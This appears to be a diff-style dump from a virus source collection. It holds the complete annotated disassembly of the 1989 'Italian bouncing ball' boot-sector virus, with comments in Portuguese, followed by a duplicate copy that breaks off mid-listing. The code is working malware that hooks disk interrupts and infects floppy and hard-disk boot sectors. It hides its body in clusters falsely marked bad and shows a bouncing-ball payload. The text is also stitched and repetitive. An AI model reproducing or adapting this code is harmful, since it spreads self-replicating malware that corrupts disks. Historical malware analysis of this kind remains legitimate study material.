;0760 CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20 M!K..........
|
||||
;0770 20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20 .....
|
||||
;0780 20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00 ........
|
||||
;0790 00 0D 62 3A 0D 62 6F 2E-2A 20 62 3A 0D 00 00 00 ..b:.bo.* b:....
|
||||
;07A0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 01 00 ................
|
||||
;07B0 17 D0 01 00 01 00 17 D0-01 00 01 00 17 D0 02 00 .P.....P.....P..
|
||||
;07C0 01 00 17 D0 02 00 01 00-87 CF 00 00 05 00 FF FF ...P.....O......
|
||||
;07D0 EA CF 01 00 17 D0 07 00-01 00 6C 15 08 25 A5 FE jO...P....l..%%~
|
||||
;07E0 BC 07 1E 02 10 07 6C 15-8E 17 2F 01 04 7F 70 00 <.....l.../...p.
|
||||
;07F0 10 07 40 00 82 08 88 17-A5 16 1B 02 8E 17 02 02 ..@.....%.......
|
||||
;0800 4D 15 18 05 00 00 00 00-00 00 00 00 00 00 00 00 M...............
|
||||
;<<<<<<<<<< ORIGINAL CODE BEGINS HERE
|
||||
;0810 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;0820 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;0830 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;0840 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;0850 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;0860 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;0870 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;0880 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;0890 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;08A0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;08B0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;08C0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;08D0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;08E0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;08F0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;0900 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
|
||||
;>>>>>>>>>> ORIGINAL CODE ENDS HERE
|
||||
;0910 4D 73 44 6F 73
|
||||
;-----------------------------------------------------------------------;
|
||||
END
|
||||
@@ -0,0 +1,454 @@
|
||||
; **************************************************
|
||||
; *** VIRUS ITALIANO SALTITANTE - A LISTAGEM ***
|
||||
; *** Desassemblagem obtida por Miguel Vitorino ***
|
||||
; *** Para : S P O O L E R - Junho de 1989 ***
|
||||
; **************************************************
|
||||
|
||||
.RADIX 16
|
||||
|
||||
jmpf macro x
|
||||
db 0eah
|
||||
dd x
|
||||
endm
|
||||
|
||||
Virus SEGMENT
|
||||
assume cs:virus;ds:virus
|
||||
|
||||
jmpf MACRO x
|
||||
db 0eah
|
||||
dd x
|
||||
ENDM
|
||||
|
||||
org 0100h
|
||||
|
||||
begin: jmp short entry
|
||||
|
||||
db 1eh-2 dup (?) ; Informacao relativa a' disquete
|
||||
|
||||
entry: xor ax,ax
|
||||
mov ss,ax
|
||||
mov sp,7c00 ; Colocar o Stack antes do inicio do
|
||||
mov ds,ax ; virus
|
||||
mov ax,ds:[0413] ; Retirar 2 K como se nao existissem
|
||||
sub ax,2 ; para que o DOS nao la' chegue !
|
||||
mov ds:[0413],ax
|
||||
mov cl,06 ; Converter o tamanho da RAM num
|
||||
shl ax,cl ; numero de segmento que se situa nos
|
||||
sub ax,07c0 ; 2 ultimos K
|
||||
mov es,ax ; De seguida passar este programa
|
||||
mov si,7c00 ; para esse sitio de memoria
|
||||
mov di,si ; ( i.e. o programa transfere-se a si
|
||||
mov cx,0100 ; proprio )
|
||||
repz movsw
|
||||
mov cs,ax ; Transferencia de controlo para ai!
|
||||
push cs ; Agora sim , ja' estamos nos tais 2K
|
||||
pop ds
|
||||
call reset ; fazer duas vezes um "reset" ao
|
||||
reset: xor ah,ah ; controlador de disco
|
||||
int 13
|
||||
and byte ptr ds:drive,80
|
||||
mov bx,ds:sector ; Sector onde esta' o resto do virus
|
||||
push cs
|
||||
pop ax
|
||||
sub ax,0020
|
||||
mov es,ax
|
||||
call ler_sector ; Ler o resto do virus da drive
|
||||
mov bx,ds:sector
|
||||
inc bx
|
||||
mov ax,0ffc0 ; Carregar o sector de boot original
|
||||
mov es,ax
|
||||
call ler_sector
|
||||
xor ax,ax
|
||||
mov ds:estado,al
|
||||
mov ds,ax
|
||||
mov ax,ds:[004c] ; "Confiscar" o interrupt 13
|
||||
mov bx,ds:[004e] ; ( operacoes sobre disquetes/discos )
|
||||
mov word ptr ds:[004c],offset int_13
|
||||
mov ds:[004e],cs
|
||||
push cs
|
||||
pop ds
|
||||
mov word ptr ds:velho_13,ax ; Guardar a velha rotina do int. 13
|
||||
mov word ptr ds:velho_13+2,bx
|
||||
mov dl,ds:drive
|
||||
jmpf 0:7c00 ; Efectuar o arranque do sistema
|
||||
|
||||
Esc_Sector proc near
|
||||
mov ax,0301 ; Escrever um sector da drive
|
||||
jmp short cs:transferir
|
||||
Esc_Sector endp
|
||||
|
||||
Ler_Sector proc near
|
||||
mov ax,0201 ; Ler um sector da drive
|
||||
Ler_Sector endp
|
||||
|
||||
Transferir proc near ; Efectuar uma transferencia de dados
|
||||
xchg ax,bx ; de ou para a drive
|
||||
add ax,ds:[7c1c] ; Este procedimento tem como entrada
|
||||
xor dx,dx ; o numero do sector pretendido ( BX )
|
||||
div ds:[7c18] ; e de seguida sao feitas as contas
|
||||
inc dl ; para saber qual a pista e o lado
|
||||
mov ch,dl ; onde esse sector fica
|
||||
xor dx,dx
|
||||
div ds:[7c1a]
|
||||
mov cl,06
|
||||
shl ah,cl
|
||||
or ah,ch
|
||||
mov cx,ax
|
||||
xchg ch,cl
|
||||
mov dh,dl
|
||||
mov ax,bx ; Depois de todas as contas feitas
|
||||
transf: mov dl,ds:drive ; pode-se chamar o interrupt 13H
|
||||
mov bx,8000 ; es:bx = end. de transferencia
|
||||
int 13
|
||||
jnb trans_exit
|
||||
pop ax
|
||||
trans_exit: ret
|
||||
Transferir endp
|
||||
|
||||
Int_13 proc near ; Rotina de atendimento ao int. 13H
|
||||
push ds ; (operacoes sobre discos e disquetes)
|
||||
push es
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
test byte ptr ds:estado,1 ; Testar se se esta' a ver se o virus
|
||||
jnz call_BIOS ; esta' no disco
|
||||
cmp ah,2
|
||||
jnz call_BIOS
|
||||
cmp ds:drive,dl ; Ver se a ultima drive que foi
|
||||
mov ds:drive,dl ; mexida e' igual a' drive onde
|
||||
jnz outra_drv ; se vai mexer
|
||||
xor ah,ah ; Neste momento vai-se tirar a' sorte
|
||||
int 1a ; para ver se o virus fica activo
|
||||
test dh,7f ; Isto e' feito a partir da leitura
|
||||
jnz nao_desp ; da hora e se for igual a um dado
|
||||
test dl,0f0 ; numero , o virus e' despoletado
|
||||
jnz nao_desp
|
||||
push dx ; Instalar o movimento da bola
|
||||
call despoletar
|
||||
pop dx
|
||||
nao_desp: mov cx,dx
|
||||
sub dx,ds:semente
|
||||
mov ds:semente,cx
|
||||
sub dx,24
|
||||
jb call_BIOS
|
||||
outra_drv: or byte ptr ds:estado,1 ; Indicar que se esta' a testar a
|
||||
push si ; presenca ou nao do virus na drive
|
||||
push di
|
||||
call contaminar
|
||||
pop di
|
||||
pop si
|
||||
and byte ptr ds:estado,0fe ; Indicar fim de teste de virus
|
||||
call_BIOS: pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop es
|
||||
pop ds
|
||||
Velho_13 equ $+1
|
||||
jmpf 0:0
|
||||
Int_13 endp
|
||||
|
||||
Contaminar proc near
|
||||
mov ax,0201
|
||||
mov dh,0
|
||||
mov cx,1
|
||||
call transf
|
||||
test byte ptr ds:drive,80 ; Pediu-se um reset a' drive ?
|
||||
jz testar_drv ; Sim , passar a' contaminacao directa
|
||||
mov si,81be
|
||||
mov cx,4
|
||||
proximo: cmp byte ptr [si+4],1
|
||||
jz ler_sect
|
||||
cmp byte ptr [si+4],4
|
||||
jz ler_sect
|
||||
add si,10
|
||||
loop proximo
|
||||
ret
|
||||
|
||||
ler_sect: mov dx,[si] ; Cabeca+drive
|
||||
mov cx,[si+2] ; Pista+sector inicial
|
||||
mov ax,0201 ; Ler esse sector
|
||||
call transf
|
||||
testar_drv: mov si,8002 ; Comparar os 28 primeiros bytes para
|
||||
mov di,7c02 ; ver se o sector de boot e' o mesmo
|
||||
mov cx,1c ; i.e. ver se a drive ja' foi virada !
|
||||
repz movsb
|
||||
cmp word ptr ds:[offset flag+0400],1357
|
||||
jnz esta_limpa
|
||||
cmp byte ptr ds:flag_2,0
|
||||
jnb tudo_bom
|
||||
mov ax,word ptr ds:[offset prim_dados+0400]
|
||||
mov ds:prim_dados,ax ; Se chegar aqui entao a disquete ja'
|
||||
mov si,ds:[offset sector+0400] ; esta' contaminada !
|
||||
jmp infectar
|
||||
tudo_bom: ret
|
||||
|
||||
; Neste momento descobriu-se uma disquete nao contaminada ! Vai-se agora
|
||||
; proceder a' respectiva contaminacao !
|
||||
|
||||
esta_limpa: cmp word ptr ds:[800bh],0200; Bytes por sector
|
||||
jnz tudo_bom
|
||||
cmp byte ptr ds:[800dh],2 ; Sectores por cluster
|
||||
jb tudo_bom
|
||||
mov cx,ds:[800e] ; Sectores reservados
|
||||
mov al,byte ptr ds:[8010] ; Numero de FAT's
|
||||
cbw
|
||||
mul word ptr ds:[8016] ; Numero de sectores de FAT
|
||||
add cx,ax
|
||||
mov ax,' '
|
||||
mul word ptr ds:[8011] ; Numero de entradas na root
|
||||
add ax,01ff
|
||||
mov bx,0200
|
||||
div bx
|
||||
add cx,ax
|
||||
mov ds:prim_dados,cx
|
||||
mov ax,ds:[7c13] ; Numero de sectores da drive
|
||||
sub ax,ds:prim_dados
|
||||
mov bl,byte ptr ds:[7c0dh] ; Numero de sectores por cluster
|
||||
xor dx,dx
|
||||
xor bh,bh
|
||||
div bx
|
||||
inc ax
|
||||
mov di,ax
|
||||
and byte ptr ds:estado,0fbh ; Se o numero de clusters dor superior
|
||||
cmp ax,0ff0 ; a 0FF0 entao cada entrada na FAT sao
|
||||
jbe sao_3 ; 4 nibbles senao sao 3
|
||||
or byte ptr ds:estado,4 ; 4 = disco duro ?
|
||||
sao_3: mov si,1 ; Escolher sector a infectar
|
||||
mov bx,ds:[7c0e] ; Numero de sectores reservados
|
||||
dec bx
|
||||
mov ds:inf_sector,bx ; Sector a infectar
|
||||
mov byte ptr ds:FAT_sector,0fe
|
||||
jmp short continua
|
||||
|
||||
Inf_Sector dw 1 ; Sector a infectar
|
||||
Prim_Dados dw 0c ; Numero do primeiro sector de dados
|
||||
Estado db 0 ; Estado actual do virus (instalado/nao instalado,etc)
|
||||
Drive db 1 ; Drive onde se pediu uma accao
|
||||
Sector dw 0ec ; Sector auxiliar para procura do virus
|
||||
Flag_2 db 0 ; Estes proximos valores servem para ver se o virus
|
||||
Flag dw 1357 ; ja' esta' ou nao presente numa drive , bastando
|
||||
dw 0aa55 ; comparar se estes valores batem certos para o saber
|
||||
|
||||
continua: inc word ptr ds:inf_sector
|
||||
mov bx,ds:inf_sector
|
||||
add byte ptr ds:[FAT_sector],2
|
||||
call ler_sector
|
||||
jmp short l7e4b
|
||||
|
||||
; Este pequeno pedaco de programa o que faz e' percorrer a FAT que ja' esta' na
|
||||
; memo'ria e procurar ai um cluster livre para colocar nesse sitio o resto do
|
||||
; virus
|
||||
|
||||
verificar: mov ax,3 ; Media descriptor + ff,ff
|
||||
test byte ptr ds:estado,4 ; disco duro ?
|
||||
jz l7e1d
|
||||
inc ax ; Sim , FAT comeca 1 byte mais adiante
|
||||
l7e1d: mul si ; Multiplicar pelo numero do cluster
|
||||
shr ax,1
|
||||
sub ah,ds:FAT_sector
|
||||
mov bx,ax
|
||||
cmp bx,01ff
|
||||
jnb continua
|
||||
mov dx,[bx+8000] ; Ler a entrada na FAT
|
||||
test byte ptr ds:estado,4
|
||||
jnz l7e45
|
||||
mov cl,4
|
||||
test si,1
|
||||
jz l7e42
|
||||
shr dx,cl
|
||||
l7e42: and dh,0f
|
||||
l7e45: test dx,0ffff ; Se a entrada na FAT for zero,entao
|
||||
jz l7e51 ; descobriu-se um cluster para por o
|
||||
l7e4b: inc si ; virus , senao passa-se ao proximo
|
||||
cmp si,di ; cluster ate' achar um bom
|
||||
jbe verificar
|
||||
ret
|
||||
|
||||
; Ja' foi descoberto qual o cluster a infectar ( registo BX ) , agora vai-se
|
||||
; proceder a' infeccao da disquete ou disco e tambem a' marcacao desse cluster
|
||||
; como um "bad cluster" para o DOS nao aceder a ele
|
||||
|
||||
l7e51: mov dx,0fff7 ; Marcar um "bad cluster" (ff7)
|
||||
test byte ptr ds:estado,4 ; Ver qual o tamanho das ents. na FAT
|
||||
jnz l7e68 ; ( 3 ou 4 nibbles )
|
||||
and dh,0f
|
||||
mov cl,4
|
||||
test si,1
|
||||
jz l7e68
|
||||
shl dx,cl
|
||||
l7e68: or [bx+8000],dx
|
||||
mov bx,word ptr ds:inf_sector ; Infectar sector !!!
|
||||
call esc_sector
|
||||
mov ax,si
|
||||
sub ax,2
|
||||
mov bl,ds:7c0dh ; Numero de sectores por cluster
|
||||
xor bh,bh
|
||||
mul bx
|
||||
add ax,ds:prim_dados
|
||||
mov si,ax ; SI = sector a infectar
|
||||
mov bx,0 ; Ler o sector de boot original
|
||||
call ler_sector
|
||||
mov bx,si
|
||||
inc bx
|
||||
call esc_sector ; ... e guarda'-lo depois do virus
|
||||
infectar: mov bx,si
|
||||
mov word ptr ds:sector,si
|
||||
push cs
|
||||
pop ax
|
||||
sub ax,20 ; Escrever o resto do virus
|
||||
mov es,ax
|
||||
call esc_sector
|
||||
push cs
|
||||
pop ax
|
||||
sub ax,40
|
||||
mov es,ax
|
||||
mov bx,0 ; Escrever no sector de boot o virus
|
||||
call esc_sector
|
||||
ret
|
||||
Contaminar endp
|
||||
|
||||
Semente dw ? ; Esta word serve para fins de
|
||||
; temporizacao da bola a saltar
|
||||
FAT_sector db 0 ; Diz qual e' o numero do sector que
|
||||
; se esta' a percorrer quando se
|
||||
; vasculha a FAT
|
||||
|
||||
Despoletar proc near ; Comecar a mostrar a bola no ecran
|
||||
test byte ptr ds:estado,2 ; Virus ja' esta' activo ?
|
||||
jnz desp_exit ; Sim ,sair
|
||||
or byte ptr ds:estado,2 ; Nao , marcar activacao
|
||||
mov ax,0
|
||||
mov ds,ax
|
||||
mov ax,ds:20 ; Posicionar interrupt 8 (relogio)
|
||||
mov bx,ds:22
|
||||
mov word ptr ds:20,offset int_8
|
||||
mov ds:22,cs
|
||||
push cs
|
||||
pop ds ; E guardar a rotina anterior
|
||||
mov word ptr ds:velho_8+8,ax
|
||||
mov word ptr ds:velho_8+2,bx
|
||||
desp_exit: ret
|
||||
Despoletar endp
|
||||
|
||||
Int_8 proc near ; Rotina de atendimento ao interrupt
|
||||
push ds ; provocado pelo relogio 18.2 vezes
|
||||
push ax ; por segundo . Neste procedimento
|
||||
push bx ; e' que se faz o movimento da bola
|
||||
push cx ; pelo ecran
|
||||
push dx
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,0f ; Ver qual o tipo de modo de video
|
||||
int 10
|
||||
mov bl,al
|
||||
cmp bx,ds:modo_pag ; Comparar modo e pagina de video com
|
||||
jz ler_cur ; os anteriores
|
||||
mov ds:modo_pag,bx ; Quando aqui chega mudou-se o modo
|
||||
dec ah ; de video
|
||||
mov ds:colunas,ah ; Guardar o numero de colunas
|
||||
mov ah,1
|
||||
cmp bl,7 ; Comparar modo com 7 (80x25 Mono)
|
||||
jnz e_CGA
|
||||
dec ah
|
||||
e_CGA: cmp bl,4 ; Ve se e' modo grafico
|
||||
jnb e_grafico
|
||||
dec ah
|
||||
e_grafico: mov ds:muda_attr,ah
|
||||
mov word ptr ds:coordenadas,0101
|
||||
mov word ptr ds:direccao,0101
|
||||
mov ah,3 ; Ler a posicao do cursor
|
||||
int 10
|
||||
push dx ; ... e guarda-la
|
||||
mov dx,ds:coordenadas
|
||||
jmp short limites
|
||||
|
||||
ler_cur: mov ah,3 ; Ler a posicao do cursor ...
|
||||
int 10
|
||||
push dx ; ... e guarda-la
|
||||
mov ah,2 ; Posicionar o cursor no sitio da bola
|
||||
mov dx,ds:coordenadas
|
||||
int 10
|
||||
mov ax,ds:carat_attr
|
||||
cmp byte ptr ds:muda_attr,1
|
||||
jnz mudar_atr
|
||||
mov ax,8307 ; Atributos e carater 7
|
||||
mudar_atr: mov bl,ah ; Carregar carater 7 (bola)
|
||||
mov cx,1
|
||||
mov ah,9 ; Escrever a bola no ecran
|
||||
int 10
|
||||
limites: mov cx,ds:direccao ; Agora vai-se ver se a bola esta' no
|
||||
cmp dh,0 ; ecran . Linha = 0 ?
|
||||
jnz linha_1
|
||||
xor ch,0ff ; Mudar direccao
|
||||
inc ch
|
||||
linha_1: cmp dh,18 ; Linha = 24 ?
|
||||
jnz coluna_1
|
||||
xor ch,0ff ; Mudar direccao
|
||||
inc ch
|
||||
coluna_1: cmp dl,0 ; Coluna = 0 ?
|
||||
jnz coluna_2
|
||||
xor cl,0ff ; Mudar direccao
|
||||
inc cl
|
||||
coluna_2: cmp dl,ds:colunas ; Colunas = numero de colunas ?
|
||||
jnz esta_fixe
|
||||
xor cl,0ff ; Mudar direccao
|
||||
inc cl
|
||||
esta_fixe: cmp cx,ds:direccao ; Mesma direccao ?
|
||||
jnz act_bola
|
||||
mov ax,ds:carat_attr
|
||||
and al,7
|
||||
cmp al,3
|
||||
jnz nao_e
|
||||
xor ch,0ff
|
||||
inc ch
|
||||
nao_e: cmp al,5
|
||||
jnz act_bola
|
||||
xor cl,0ff
|
||||
inc cl
|
||||
act_bola: add dl,cl ; Actualizar as coordenadas da bola
|
||||
add dh,ch
|
||||
mov ds:direccao,cx
|
||||
mov ds:coordenadas,dx
|
||||
mov ah,2
|
||||
int 10
|
||||
mov ah,8 ; Ler carater para onde vai a bola
|
||||
int 10
|
||||
mov ds:carat_attr,ax
|
||||
mov bl,ah
|
||||
cmp byte ptr ds:muda_attr,1
|
||||
jnz nao_muda
|
||||
mov bl,83 ; Novo atributo
|
||||
nao_muda: mov cx,1
|
||||
mov ax,0907 ; Escrever a bola no ecran
|
||||
int 10
|
||||
pop dx
|
||||
mov ah,2 ; Recolocar o cursor no posicao onde
|
||||
int 10 ; estava antes de escrever a bola
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop ds
|
||||
velho_8 equ $+1
|
||||
jmpf 0:0
|
||||
Int_8 endp
|
||||
|
||||
Carat_attr dw ? ; 7fcd
|
||||
Coordenadas dw 0101 ; 7fcf
|
||||
Direccao dw 0101 ; 7fd1
|
||||
Muda_attr db 1 ; 7fd3
|
||||
Modo_pag dw ? ; 7fd4
|
||||
Colunas db ? ; 7fd6
|
||||
|
||||
; Os bytes que se seguem destinam-se a reservar espaco para o stack
|
||||
|
||||
Virus ENDS
|
||||
|
||||
END begin
|
||||
@@ -0,0 +1,455 @@
|
||||
; **************************************************
|
||||
; *** VIRUS ITALIANO SALTITANTE - A LISTAGEM ***
|
||||
; *** Desassemblagem obtida por Miguel Vitorino ***
|
||||
; *** Para : S P O O L E R - Junho de 1989 ***
|
||||
; **************************************************
|
||||
|
||||
.RADIX 16
|
||||
|
||||
jmpf macro x
|
||||
db 0eah
|
||||
dd x
|
||||
endm
|
||||
|
||||
Virus SEGMENT
|
||||
assume cs:virus;ds:virus
|
||||
|
||||
jmpf MACRO x
|
||||
db 0eah
|
||||
dd x
|
||||
ENDM
|
||||
|
||||
org 0100h
|
||||
|
||||
begin: jmp short entry
|
||||
|
||||
db 1eh-2 dup (?) ; Informacao relativa a' disquete
|
||||
|
||||
entry: xor ax,ax
|
||||
mov ss,ax
|
||||
mov sp,7c00 ; Colocar o Stack antes do inicio do
|
||||
mov ds,ax ; virus
|
||||
mov ax,ds:[0413] ; Retirar 2 K como se nao existissem
|
||||
sub ax,2 ; para que o DOS nao la' chegue !
|
||||
mov ds:[0413],ax
|
||||
mov cl,06 ; Converter o tamanho da RAM num
|
||||
shl ax,cl ; numero de segmento que se situa nos
|
||||
sub ax,07c0 ; 2 ultimos K
|
||||
mov es,ax ; De seguida passar este programa
|
||||
mov si,7c00 ; para esse sitio de memoria
|
||||
mov di,si ; ( i.e. o programa transfere-se a si
|
||||
mov cx,0100 ; proprio )
|
||||
repz movsw
|
||||
mov cs,ax ; Transferencia de controlo para ai!
|
||||
push cs ; Agora sim , ja' estamos nos tais 2K
|
||||
pop ds
|
||||
call reset ; fazer duas vezes um "reset" ao
|
||||
reset: xor ah,ah ; controlador de disco
|
||||
int 13
|
||||
and byte ptr ds:drive,80
|
||||
mov bx,ds:sector ; Sector onde esta' o resto do virus
|
||||
push cs
|
||||
pop ax
|
||||
sub ax,0020
|
||||
mov es,ax
|
||||
call ler_sector ; Ler o resto do virus da drive
|
||||
mov bx,ds:sector
|
||||
inc bx
|
||||
mov ax,0ffc0 ; Carregar o sector de boot original
|
||||
mov es,ax
|
||||
call ler_sector
|
||||
xor ax,ax
|
||||
mov ds:estado,al
|
||||
mov ds,ax
|
||||
mov ax,ds:[004c] ; "Confiscar" o interrupt 13
|
||||
mov bx,ds:[004e] ; ( operacoes sobre disquetes/discos )
|
||||
mov word ptr ds:[004c],offset int_13
|
||||
mov ds:[004e],cs
|
||||
push cs
|
||||
pop ds
|
||||
mov word ptr ds:velho_13,ax ; Guardar a velha rotina do int. 13
|
||||
mov word ptr ds:velho_13+2,bx
|
||||
mov dl,ds:drive
|
||||
jmpf 0:7c00 ; Efectuar o arranque do sistema
|
||||
|
||||
Esc_Sector proc near
|
||||
mov ax,0301 ; Escrever um sector da drive
|
||||
jmp short cs:transferir
|
||||
Esc_Sector endp
|
||||
|
||||
Ler_Sector proc near
|
||||
mov ax,0201 ; Ler um sector da drive
|
||||
Ler_Sector endp
|
||||
|
||||
Transferir proc near ; Efectuar uma transferencia de dados
|
||||
xchg ax,bx ; de ou para a drive
|
||||
add ax,ds:[7c1c] ; Este procedimento tem como entrada
|
||||
xor dx,dx ; o numero do sector pretendido ( BX )
|
||||
div ds:[7c18] ; e de seguida sao feitas as contas
|
||||
inc dl ; para saber qual a pista e o lado
|
||||
mov ch,dl ; onde esse sector fica
|
||||
xor dx,dx
|
||||
div ds:[7c1a]
|
||||
mov cl,06
|
||||
shl ah,cl
|
||||
or ah,ch
|
||||
mov cx,ax
|
||||
xchg ch,cl
|
||||
mov dh,dl
|
||||
mov ax,bx ; Depois de todas as contas feitas
|
||||
transf: mov dl,ds:drive ; pode-se chamar o interrupt 13H
|
||||
mov bx,8000 ; es:bx = end. de transferencia
|
||||
int 13
|
||||
jnb trans_exit
|
||||
pop ax
|
||||
trans_exit: ret
|
||||
Transferir endp
|
||||
|
||||
Int_13 proc near ; Rotina de atendimento ao int. 13H
|
||||
push ds ; (operacoes sobre discos e disquetes)
|
||||
push es
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
test byte ptr ds:estado,1 ; Testar se se esta' a ver se o virus
|
||||
jnz call_BIOS ; esta' no disco
|
||||
cmp ah,2
|
||||
jnz call_BIOS
|
||||
cmp ds:drive,dl ; Ver se a ultima drive que foi
|
||||
mov ds:drive,dl ; mexida e' igual a' drive onde
|
||||
jnz outra_drv ; se vai mexer
|
||||
xor ah,ah ; Neste momento vai-se tirar a' sorte
|
||||
int 1a ; para ver se o virus fica activo
|
||||
test dh,7f ; Isto e' feito a partir da leitura
|
||||
jnz nao_desp ; da hora e se for igual a um dado
|
||||
test dl,0f0 ; numero , o virus e' despoletado
|
||||
jnz nao_desp
|
||||
push dx ; Instalar o movimento da bola
|
||||
call despoletar
|
||||
pop dx
|
||||
nao_desp: mov cx,dx
|
||||
sub dx,ds:semente
|
||||
mov ds:semente,cx
|
||||
sub dx,24
|
||||
jb call_BIOS
|
||||
outra_drv: or byte ptr ds:estado,1 ; Indicar que se esta' a testar a
|
||||
push si ; presenca ou nao do virus na drive
|
||||
push di
|
||||
call contaminar
|
||||
pop di
|
||||
pop si
|
||||
and byte ptr ds:estado,0fe ; Indicar fim de teste de virus
|
||||
call_BIOS: pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop es
|
||||
pop ds
|
||||
Velho_13 equ $+1
|
||||
jmpf 0:0
|
||||
Int_13 endp
|
||||
|
||||
Contaminar proc near
|
||||
mov ax,0201
|
||||
mov dh,0
|
||||
mov cx,1
|
||||
call transf
|
||||
test byte ptr ds:drive,80 ; Pediu-se um reset a' drive ?
|
||||
jz testar_drv ; Sim , passar a' contaminacao directa
|
||||
mov si,81be
|
||||
mov cx,4
|
||||
proximo: cmp byte ptr [si+4],1
|
||||
jz ler_sect
|
||||
cmp byte ptr [si+4],4
|
||||
jz ler_sect
|
||||
add si,10
|
||||
loop proximo
|
||||
ret
|
||||
|
||||
ler_sect: mov dx,[si] ; Cabeca+drive
|
||||
mov cx,[si+2] ; Pista+sector inicial
|
||||
mov ax,0201 ; Ler esse sector
|
||||
call transf
|
||||
testar_drv: mov si,8002 ; Comparar os 28 primeiros bytes para
|
||||
mov di,7c02 ; ver se o sector de boot e' o mesmo
|
||||
mov cx,1c ; i.e. ver se a drive ja' foi virada !
|
||||
repz movsb
|
||||
cmp word ptr ds:[offset flag+0400],1357
|
||||
jnz esta_limpa
|
||||
cmp byte ptr ds:flag_2,0
|
||||
jnb tudo_bom
|
||||
mov ax,word ptr ds:[offset prim_dados+0400]
|
||||
mov ds:prim_dados,ax ; Se chegar aqui entao a disquete ja'
|
||||
mov si,ds:[offset sector+0400] ; esta' contaminada !
|
||||
jmp infectar
|
||||
tudo_bom: ret
|
||||
|
||||
; Neste momento descobriu-se uma disquete nao contaminada ! Vai-se agora
|
||||
; proceder a' respectiva contaminacao !
|
||||
|
||||
esta_limpa: cmp word ptr ds:[800bh],0200; Bytes por sector
|
||||
jnz tudo_bom
|
||||
cmp byte ptr ds:[800dh],2 ; Sectores por cluster
|
||||
jb tudo_bom
|
||||
mov cx,ds:[800e] ; Sectores reservados
|
||||
mov al,byte ptr ds:[8010] ; Numero de FAT's
|
||||
cbw
|
||||
mul word ptr ds:[8016] ; Numero de sectores de FAT
|
||||
add cx,ax
|
||||
mov ax,' '
|
||||
mul word ptr ds:[8011] ; Numero de entradas na root
|
||||
add ax,01ff
|
||||
mov bx,0200
|
||||
div bx
|
||||
add cx,ax
|
||||
mov ds:prim_dados,cx
|
||||
mov ax,ds:[7c13] ; Numero de sectores da drive
|
||||
sub ax,ds:prim_dados
|
||||
mov bl,byte ptr ds:[7c0dh] ; Numero de sectores por cluster
|
||||
xor dx,dx
|
||||
xor bh,bh
|
||||
div bx
|
||||
inc ax
|
||||
mov di,ax
|
||||
and byte ptr ds:estado,0fbh ; Se o numero de clusters dor superior
|
||||
cmp ax,0ff0 ; a 0FF0 entao cada entrada na FAT sao
|
||||
jbe sao_3 ; 4 nibbles senao sao 3
|
||||
or byte ptr ds:estado,4 ; 4 = disco duro ?
|
||||
sao_3: mov si,1 ; Escolher sector a infectar
|
||||
mov bx,ds:[7c0e] ; Numero de sectores reservados
|
||||
dec bx
|
||||
mov ds:inf_sector,bx ; Sector a infectar
|
||||
mov byte ptr ds:FAT_sector,0fe
|
||||
jmp short continua
|
||||
|
||||
Inf_Sector dw 1 ; Sector a infectar
|
||||
Prim_Dados dw 0c ; Numero do primeiro sector de dados
|
||||
Estado db 0 ; Estado actual do virus (instalado/nao instalado,etc)
|
||||
Drive db 1 ; Drive onde se pediu uma accao
|
||||
Sector dw 0ec ; Sector auxiliar para procura do virus
|
||||
Flag_2 db 0 ; Estes proximos valores servem para ver se o virus
|
||||
Flag dw 1357 ; ja' esta' ou nao presente numa drive , bastando
|
||||
dw 0aa55 ; comparar se estes valores batem certos para o saber
|
||||
|
||||
continua: inc word ptr ds:inf_sector
|
||||
mov bx,ds:inf_sector
|
||||
add byte ptr ds:[FAT_sector],2
|
||||
call ler_sector
|
||||
jmp short l7e4b
|
